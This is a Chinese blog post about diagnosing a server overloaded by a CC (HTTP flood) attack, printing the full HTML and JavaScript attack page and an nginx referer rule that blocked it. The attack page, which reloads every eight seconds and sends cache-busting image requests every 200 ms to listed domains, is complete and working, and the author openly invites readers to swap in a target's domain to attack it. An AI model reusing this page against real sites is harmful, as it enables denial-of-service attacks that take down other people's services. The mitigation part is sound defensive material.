Loading
0

分享一段通过html文件+js不停刷新访问某个站点达到CC攻击效果的代码
被墙跳转TG:@qianhenetwork QQ 851617266

301免备案跳转微信公众号
腾讯云服务器大促销。
华为服务器

昨天在收到用户反馈,服务器CPU超高,他是Linux系统,我登录到服务器看确实cpu非常高,通过top命令看主要是php进程占用较高,如图

看样子是访问量非常大,他使用了nginx,于是我在nginx中开启了站点访问日志,开启后几分钟查看日志非常大,并且日志中都是http://xxx.cn/daji/6.html 这样的来路地址一致在不停访问首页,打开地址后发现该页面一直持续刷新,不停刷新,查看他源码看只有短短几行,如下,

<html>

<head>
    <title>
        hello world
    </title>
</head>

<body>
    <a href="http://xxxx.cn/daji/1.html" target="_blank">1</a>
    <a href="http://xxxx.cn/daji/2.html" target="_blank">2</a>
    <a href="http://xxxx.cn/daji/3.html" target="_blank">3</a>
    <a href="http://xxxx.cn/daji/4.html" target="_blank">4</a>
    <a href="http://xxxx.cn/daji/5.html" target="_blank">5</a>
    <a href="http://xxxx.cn/daji/6.html" target="_blank">6</a>
    <a href="http://xxxx.cn/daji/7.html" target="_blank">7</a>
    <a href="http://xxxx.cn/daji/8.html" target="_blank">8</a>
    <a href="http://xxxx.cn/daji/9.html" target="_blank">9</a>
    <a href="http://xxxx.cn/daji/10.html" target="_blank">10</a>
    <script language="JavaScript">
        function myrefresh() {
            window.location.reload();
        }
        setTimeout('myrefresh()', 8000); //
    </script>

    <div id="testloadimg">

    </div>
    <script type="text/javascript">
        var arr = [
            "http://web.tag.gg",
            "http://www.zfcdn.xyz"];

        function timedCount() {
            var content = "";
            for (var i = 0; i < arr.length; i++) {
                content += "<img src=\"" + arr[i] + "?r=" + Math.random() + "\" />";
            }
            document.getElementById("testloadimg").innerHTML = content;
            setTimeout("timedCount()", 200);
        }
        timedCount();
    </script>
</body>
</html>

通过代码看在js中定义了一个数组,数组中存在大量网址,没刷新一次,页面就回自动访问数组中的网址,反复访问,不停访问,导致对方站点php请求不过来占用cpu爆搞,于是使用如下代码,在nginx配置文件中屏蔽了该域名,屏蔽后cpu瞬间下降到正常水平,但从日志看还是有请求访问,不过已经被我们规则拦截了,访问都报403了,

(也就是说,如果您想攻击某个网站,将代码中的域名更换成他的就可以,这样脚本不停访问,让对方脚本请求不过来.哈哈。看来我们也可以当黑客了)

valid_referers xxx.cn;
if ($invalid_referer = ''){
return 403;
}

 

301免备案跳转微信公众号
华为服务器
腾讯云服务器大促销。

声明:站长码字很辛苦啊,转载时请保留本声明及附带文章链接:https://www.zfcdn.xyz/showinfo-3-280-0.html
亲爱的:被墙域名跳转TG:@qianhenetwork QQ:851617266,可否收藏+评论+分享呢?

最后编辑于:2019-01-13 00:13:21作者:

上一篇:实战:Linux下通过yum源安装整合Nginx+php+mysql(图文)
下一篇:[转]Linux系统防CC攻击自动拉黑IP增强版Shell脚本